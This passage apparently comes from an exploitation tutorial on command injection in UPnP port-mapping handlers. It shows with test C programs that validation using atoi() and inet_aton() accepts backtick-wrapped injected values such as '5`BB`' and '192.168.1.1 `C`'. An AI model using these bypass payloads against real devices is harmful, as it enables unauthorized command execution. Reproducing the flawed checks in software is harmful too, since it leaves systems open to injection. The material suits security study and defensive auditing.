text
stringlengths
0
1.99k
NewInternalPort with the function atoi(). You may encounter code snippets
like the one below.
ext_port = GetFirstDocumentItem(ca_event->ActionRequest, "NewExternalPort")
...
/* validate the ports */
a = atoi(ext_port);
if (a > 65535 || a < 1)
{
return -1;
}
The concept of implementing value control is a good one, but unfortunately
for developers, it is done incorrectly by using the atoi() function.
Consider the file test_atoi.c as an example, containing the following C
code.
#include <stdio.h>
#include <stdlib.h>
int main() {
char numberStr[] = "5`BB`";
int a = atoi(numberStr);
if (a > 65535 || a < 1)
{
return -1;
}
return 0;
}
Compile it using the command below, then after executing it, let's retrieve
the value of the return code.
$ gcc test_atoi.c -o test_atoi
$ ./test_atoi
$ echo $?
0
It is clear that the payload (value contained in the NewExternalPort node)
has bypassed the security check. What happens is that the atoi() function
converts a string into an integer, stopping at the first non-numeric
character. The function will first encounter the character 5, which is a
valid numeric character. After the 5, it encounters the backtick character.
Since backticks are not part of a valid integer, atoi() will stop parsing
the string at this point. By using a payload that bypasses this check, the
number of characters available for command injection will be reduced. Nodes
NewExternalPort and NewInternalPort must follow the structure of "5`BB`"
and "6`DDD" for example (but it depends on the target you want to exploit).
Although we currently have fewer characters at our disposal, let's try to
go one step further and make the security features more complex.
---------------------------------------------------------------------------
--[ 7. Becoming a Bash Jiu Jitsu black belt
Port checks having been bypassed, let's imagine that the target now checks
the IP value using the inet_aton() function as shown below.
int_ip = GetFirstDocumentItem(ca_event->ActionRequest, "NewInternalClient")
...
/* validate the IP address */
struct in_addr req_addr;
if (0 == inet_aton(int_ip, &req_addr))
{
return -1;
}
Consider the file test_inet_aton.c as an example, containing the following
C code.
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
int main() {
const char *ip_str_a = "192.168.1.1";
const char *ip_str_b = "192.168.1.1 `C`";
struct in_addr addr_a;
struct in_addr addr_b;
if (0 == inet_aton(ip_str_a, &addr_a)) {
printf("Internal Error.\n");
return -1;
}
if (0 == inet_aton(ip_str_b, &addr_b)) {
printf("Internal Error.\n");
return -1;
}
return 0;
}
Compile it using the command below, then after executing it, let's retrieve
the value of the return code.
$ gcc test_inet_aton.c -o test_inet_aton
$ ./test_inet_aton
$ echo $?
0